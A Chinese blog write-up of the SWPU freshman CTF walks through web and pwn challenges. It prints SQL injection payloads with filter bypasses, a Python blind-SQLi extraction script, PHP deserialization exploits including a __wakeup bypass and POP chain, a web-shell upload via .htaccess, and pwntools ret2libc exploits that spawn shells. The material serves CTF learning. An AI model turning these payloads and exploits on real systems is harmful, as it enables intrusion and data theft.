CTF | 26分钟
SWPU新生赛WriteUp
十月 9, 2021
反序列化 伪协议 SQL注入 PWN

一个线上赛,这个NSSCTF最爽的就是没有靶机操作的一分钟冷却,10.11比赛结束,但是我还要看看工控,所以不打这个比赛了,先把wp写了,pwn入门真TM艰难

WEB

前面送分题,中间的也是基础题,后面搜知识点现学现用,最后俩RCE实在做不出来

gift_F12

藏在了JS代码里,我还以为要改时间,歌还不错

caidao

太直白了,但我偏用蚁剑

jicao

基操

php
1<?php
2highlight_file('index.php');
3include("flag.php");
4$id=$_POST['id'];
5$json=json_decode($_GET['json'],true);
6if ($id=="wllmNB"&&$json['x']=="wllm")
7{echo $flag;}
8?>

Payload:GET: ?json={"x":"wllm"} POST: id=wllmNB

Do_you_know_http

BP改包后,他出现success,要我自己跳转,不如HackBar

easy_md5

没啥说的

easy_sql

杰哥?入门sql

Payload: ?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+

easyupload1.0

抓包改类型。经典image/jpeg,这题flag在环境变量$FLAG里

easyupload2.0

后缀改成phtml,类型image/jpeg,flag在上级目录

easyrce

先system(’ls /’);知道了flag文件名再cat

babyrce

Cookie添加admin=1,提示rasalghul.php,进入页面过滤了空格,用$IFS代替,先`ls$IFS/`看文件,再cat

送分题结束了

ez_unserialize

注释里是robots协议的格式,直接去robots看看,提示了/cl45s.php

php
 1<?php
 2
 3error_reporting(0);
 4show_source("cl45s.php");
 5
 6class wllm{
 7
 8    public $admin;
 9    public $passwd;
10
11    public function __construct(){
12        $this->admin ="user";
13        $this->passwd = "123456";
14    }
15
16        public function __destruct(){
17        if($this->admin === "admin" && $this->passwd === "ctf"){
18            include("flag.php");
19            echo $flag;
20        }else{
21            echo $this->admin;
22            echo $this->passwd;
23            echo "Just a bit more!";
24        }
25    }
26}
27
28$p = $_GET['p'];
29unserialize($p);
30
31?>

简单反序列化,都不是pop链

思路1:就是生成对象,触发__construct(),它会初始化属性,然后我们之后赋值即可,销毁对象触发__destruct(),注意,销毁后不能序列化此对象了,所以我们需要在销毁前把他复制给另一个对象

exp:

php
 1<?php
 2class wllm{
 3
 4    public $admin;
 5    public $passwd;
 6
 7}
 8$a=new wllm();
 9$a->admin="admin";
10$a->passwd="ctf";
11$b=$a;
12unset($a);
13echo(serialize($b));
14
15?>

思路2:直接把__construct里赋值语句改了

exp:

php
 1<?php
 2class wllm{
 3
 4    public $admin;
 5    public $passwd;
 6
 7    public function __construct(){
 8        $this->admin ="admin";
 9        $this->passwd = "ctf";
10    }
11
12}
13$a=new wllm();
14$b=$a;
15unset($a);
16echo(serialize($b));
17
18?>

Payload一样的O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

include

题目名是包含,传一下flag.php试试

只要file有值就亮源码,最后一句仍然包含了文件,伪协议读取flag.php

BASE64解码就是flag

error

输入测试,布尔盲注,能执行就有没有提示...........字符串,可以写脚本也可以直接sqlmap

自己写的脚本:

python
  1import requests
  2
  3url = "http://1.14.71.254:28019/index.php"
  4cont = "没有提示..........."
  5
  6
  7def get_database_length():
  8    for i in range(1, 10):
  9        payload = "?id=1'and length(database())=%d --+" % i
 10        uri = url + payload
 11        result = requests.get(uri)
 12        if cont in result.text:
 13            print("数据库名长度为:%d" % i)
 14            return i
 15
 16
 17def get_database_name():
 18    name = ""
 19    for i in range(1, db_len + 1):
 20        for j in "abcdefghijklmnopqrstuvwxyz_":
 21            payload = "?id=1'and substr(database(),%d,1)='%s' --+" % (i, j)
 22            uri = url + payload
 23            result = requests.get(uri)
 24            if cont in result.text:
 25                name += j
 26    print("数据库名为:%s" % name)
 27    return name
 28
 29
 30def get_table_number():
 31    num = 0
 32    while 1:
 33        payload = "?id=0' union select 1,2,table_name from information_schema.tables where " \
 34                  "table_schema='%s' limit %d,1--+" % (db_name, num)
 35        uri = url + payload
 36        result = requests.get(uri)
 37        if cont in result.text:
 38            num += 1
 39        else:
 40            break
 41    print("表的数目为:%d" % num)
 42    return num
 43
 44
 45def get_table_length(n):
 46    for i in range(1, 20):
 47        payload = "?id=1' and length((select table_name from information_schema.tables where " \
 48                  "table_schema='%s'  limit %d,1))=%d --+" % (db_name, n, i)
 49        uri = url + payload
 50        result = requests.get(uri)
 51        if cont in result.text:
 52            return i
 53
 54
 55def get_table_names():
 56    names = []
 57    for i in range(0, tb_num):
 58        name = ""
 59        tb_len = get_table_length(i)
 60        for j in range(0, tb_len + 1):
 61            for k in "abcdefghijklmnopqrstuvwxyz_":
 62                payload = "?id=1' and substr((select table_name from information_schema.tables where " \
 63                          "table_schema='%s'  limit %d,1),%d,1)='%s' --+" % (db_name, i, j, k)
 64                uri = url + payload
 65                result = requests.get(uri)
 66                if cont in result.text:
 67                    name += k
 68        names.append(name)
 69    print(names)
 70    return names
 71
 72
 73def get_column_num(i):
 74    num = 0
 75    while 1:
 76        payload = "?id=0' union select 1,2,column_name from information_schema.columns where " \
 77                  "table_name='%s' limit %d,1--+" % (tb_names[i], num)
 78        uri = url + payload
 79        result = requests.get(uri)
 80        if cont in result.text:
 81            num += 1
 82        else:
 83            break
 84    print("第%d个表,有%d列" % (i + 1, num))
 85    return num
 86
 87
 88def get_column_length(i, j):
 89    for n in range(1, 20):
 90        payload = "?id=1' and length((select column_name from information_schema.columns where " \
 91                  "table_name='%s'  limit %d,1))=%d --+" % (tb_names[i], j, n)
 92        uri = url + payload
 93        result = requests.get(uri)
 94        if cont in result.text:
 95            return n
 96
 97
 98def get_column_name():
 99    names = [[] for _ in range(tb_num)]
100    for i in range(0, tb_num):
101        cl_num = get_column_num(i)
102        for j in range(0, cl_num):
103            name = ""
104            cl_len = get_column_length(i, j)
105            for y in range(1, cl_len + 1):
106                for k in "qwertyuiopasdfghjklzxcvbnm_":
107                    payload = "?id=1' and substr((select column_name from information_schema.columns where " \
108                              "table_name='%s'  limit %d,1),%d,1)='%s' --+" % (tb_names[i], j, y, k)
109                    uri = url + payload
110                    result = requests.get(uri)
111                    if cont in result.text:
112                        name += k
113            names[i].append(name)
114    print(names)
115
116
117def get_data_num(i, j):
118    num = 0
119    for n in range(0, 20):
120        payload = "?id=0' union select 1,2,%s from %s limit %d,1 --+" % (j, i, n)
121        uri = url + payload
122        result = requests.get(uri)
123        if cont in result.text:
124            num += 1
125    return num
126
127
128def get_data_length(i, j, k):
129    for n in range(1, 20):
130        payload = "?id=1' and length((select %s from %s limit %d,1))=%d --+" % (j, i, k, n)
131        uri = url + payload
132        result = requests.get(uri)
133        if cont in result.text:
134            return n
135
136
137def get_data(i, j):
138    da = []
139    data_num = get_data_num(i, j)
140    for n in range(0, data_num):
141        d = ""
142        data_len = get_data_length(i, j, n)
143        for z in range(1, data_len + 1):
144            for k in "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-{}":
145                payload = "?id=1' and substr((select %s from %s limit %d,1),%d,1)='%s' --+" % (j, i, n, z, k)
146                uri = url + payload
147                result = requests.get(uri)
148                if cont in result.text:
149                    d += k
150        da.append(d)
151    print(da)
152
153
154if __name__ == '__main__':
155    db_len = get_database_length()
156    db_name = get_database_name()
157    tb_num = get_table_number()
158    tb_names = get_table_names()
159    get_column_name()
160    while 1:
161        table_name, column_name = input("输入表名列名查询数据,以空格间隔:").split()
162        get_data(table_name, column_name)

因为单线程所以有点慢,写脚本是为了练

sqlmap神器

no_wakeup

可爱

php
 1<?php
 2
 3header("Content-type:text/html;charset=utf-8");
 4error_reporting(0);
 5show_source("class.php");
 6
 7class HaHaHa{
 8
 9
10        public $admin;
11        public $passwd;
12
13        public function __construct(){
14            $this->admin ="user";
15            $this->passwd = "123456";
16        }
17
18        public function __wakeup(){
19            $this->passwd = sha1($this->passwd);
20        }
21
22        public function __destruct(){
23            if($this->admin === "admin" && $this->passwd === "wllm"){
24                include("flag.php");
25                echo $flag;
26            }else{
27                echo $this->passwd;
28                echo "No wake up";
29            }
30        }
31    }
32
33$Letmeseesee = $_GET['p'];
34unserialize($Letmeseesee);
35
36?>

与上一题反序列化的区别就是,反序列化时会自动调用__wakeup(),这道题当时想了很久,因为原本我的思路是wakeup调用之后再覆盖属性值,但是这个wakeup好像一直执行的样子,覆盖还是过不了,所以另一种思路,跳过__wakeup(),这是漏洞CVE-2016-7124

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

exp:

php
 1<?php
 2
 3class HaHaHa{
 4
 5        public $admin;
 6        public $passwd;
 7
 8        public function __construct(){
 9            $this->admin ="admin";
10            $this->passwd = "wllm";
11        }
12    }
13
14$a=new HaHaHa();
15$b=$a;
16unset($a);
17echo(serialize($b));
18
19?>

把生成的字符串属性改改

Payload:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

easyupload3.0

.htaccess配合,有此文件时会把jpg解析成php文件执行,所以先传一个.htaccess,再把一句话木马改成jpg后缀传上去,蚁剑直接连jpg就行了

pop

php
 1<?php
 2
 3error_reporting(0);
 4show_source("index.php");
 5
 6class w44m{
 7
 8    private $admin = 'aaa';
 9    protected $passwd = '123456';
10
11    public function Getflag(){
12        if($this->admin === 'w44m' && $this->passwd ==='08067'){
13            include('flag.php');
14            echo $flag;
15        }else{
16            echo $this->admin;
17            echo $this->passwd;
18            echo 'nono';
19        }
20    }
21}
22
23class w22m{
24    public $w00m;
25    public function __destruct(){
26        echo $this->w00m;
27    }
28}
29
30class w33m{
31    public $w00m;
32    public $w22m;
33    public function __toString(){
34        $this->w00m->{$this->w22m}();
35        return 0;
36    }
37}
38
39$w00m = $_GET['w00m'];
40unserialize($w00m);
41
42?>

这题也做了好久,思路是调用GetFlag包含flag.php,怎么调用?这个看起来只有w33m里__toString$this->w00m->{$this->w22m}();这个写法我还是第一次见。所以我们需要调用toSring,在w22m里有一句echo $this->w00m;所以把这个类对象的w00m属性定义为w33m的对象即可,之后销毁w44m对象以调用destruct

exp:

php
 1<?php
 2
 3class w44m{
 4
 5    private $admin = 'w44m';
 6    protected $passwd = '08067';
 7
 8}
 9
10class w22m{
11    public $w00m;
12}
13
14class w33m{
15    public $w00m;
16    public $w22m;
17}
18
19$a=new w44m();
20$b=new w22m();
21$b->w00m=new w33m();
22$b->w00m->w00m=$a;
23$b->w00m->w22m='Getflag';
24unset($a);
25echo serialize($b);
26
27?>

注意,由于是受保护的属性,所以要对payload进行处理,原理在此

注意,生成的反序列化字符串里属性长度比字符串长,%00算1字长,所以长度不用改,只要在最里层类名和属性名前加%00即可,有的类名显示为*不影响

Payload:O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

PseudoProtocols

题目伪协议,进来让我找hint.ph,直接伪协议读,然后解码,提示在test2222222222222.php

php
 1<?php
 2ini_set("max_execution_time", "180");
 3show_source(__FILE__);
 4include('flag.php');
 5$a= $_GET["a"];
 6if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
 7    echo "success\n";
 8    echo $flag;
 9}
10?>

很多时候做不出来,毫无思路,就是因为知识点储备不够,很多利用点即使你不知道原理会用就好,这题我搜了好久关于file_get_contents的技巧,后来发现这题是利用php://input伪协议,它在file_get_contents里,可以直接利用POST传值,这里直接POST值就行,不用写参数名

注意HackBar在POST传值时,若值是无参数名的好像传不过去,这题我纠结好久不明白全对为啥不出flag,BP抓包发现没有post值,所以遇到无参数名POST传值,最好用BP

sql

这题见招拆招,测试后发现单引号包裹,过滤了--+,用%23代替,过滤了空格,用/**/代替,过滤=,用regexp代替

测试列数

3列正常回显,4列报错,说明只有3列

测试回显点

2,3位回显

爆库+爆表

Payload:

sql
1?wllm=-1'/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp'test_db')%23

爆字段+爆数据

Payload:

sql
1?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23

这里好像限制了输出20位,所以想到使用字符串截断,截取某段进行输出,但是测试后发现substrsubstringleftrightexplode都被过滤了,在php手册中找到mid函数,这个没被过滤,调整截取位置即可

第一段flag已经得到:NSSCTF{19791ad8-fbf5

第二次爆数据Payload:

sql
1?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23

第二段flag:fbf5-4e14-bda6-e1b0a

第三次爆数据Payload:

sql
1?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23

第三段flag:6-e1b0a3e10da0}

连接起来就行

PWN

pwn入门,编译原理+数据结构+二进制漏洞头疼,5道pwn做出了3道,步骤简单,但有时候一句代码原理纠结一两天

nc签到

nc一堆乱码,IDA打开附件看看

这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令,接收用户输入,如果输入值里含有黑名单里的值,就退出程序,否则就执行,过滤了基本指令和空格,flag一般都在根目录下,tac$IFS/flag即可

有时候这个bash输入啥都不回显,关掉重新nc即可

gift_pwn

标准操作

运行也就一个输入,IDA打开

就一个vuln()函数,左边列表有gift,是个后门函数,后面会用到,进入vuln函数

明显的栈溢出,然后打开gift函数的汇编

payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址

exp:

python
1from pwn import *
2io=remote('1.14.71.254',28090)
3bin_sh_addr=0x00000000004005C4
4payload=b'A'*(16+8)+p64(bin_sh_addr)
5io.sendline(payload)
6io.interactive()

whitegive_pwn

理解好久那个函数偏移量,我理论没错啊,但是exp没用,后来请教了许多pwn佬,才基本理解,总的来说,比上题少了后门,连字符串都没有,所以需要使用ROP(返回导向编程),这个返回导向我感觉就是用碎片做跳板ret到下一个链子,但是学的时候又有参数,搞得乱了,这题exp能写出来,还是练得少

检查文件

没开PIE万幸

这次的“gift”是puts函数,用这个函数去输出puts真实地址

整体思路就是,溢出,rop碎片跳转,put的got地址,这一步说是为了初始化,但我感觉是为了调用puts。然后连接puts的plt地址,这个就是参数,程序只有一句输入就结束了,后续操作需要再次运行程序,所以加上main函数地址

随后对返回的puts地址切片填充处理,查找相应libc,计算出libc基址,根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell

exp:

python
 1from pwn import *
 2from LibcSearcher import *
 3p=remote('1.14.71.254',28132)
 4e=ELF('./pwn3')
 5put_plt=e.plt['puts']
 6put_got=e.got['puts']
 7main_add=e.sym['main']
 8rdi_add=0x0000000000400763
 9p.sendline(b'a'*0x18+p64(rdi_add)+p64(put_got)+p64(put_plt)+p64(main_add))
10d=p.read()[:-1]
11d=u64(d.ljust(8,b'\x00'))
12libc=LibcSearcher('puts',d)
13off=d-libc.dump('puts')
14sys_add=off+libc.dump('system')
15bin_add=off+libc.dump('str_bin_sh')
16p.sendline(b'a'*0x18+p64(rdi_add)+p64(bin_add)+p64(sys_add)+p64(main_add))
17p.interactive()

这里有个要注意的地方,做pwn题的时候由于环境不同,会发生本地通远程不通,远程通本地不通,甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题,我本地查找libc以及在线查找libc显示6个libc库,而且不能用,我一直以为是我没更新,折腾一晚上,各种版本的libc-database轮番下载安装,甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc,吐了,下次不给libc的题就是sb,对pwn新手极其不友好

到这里吧,以后有机会更新的话再更新,还要恶补工控CTF,工控的流量分析,图纸,各种通信协议太难了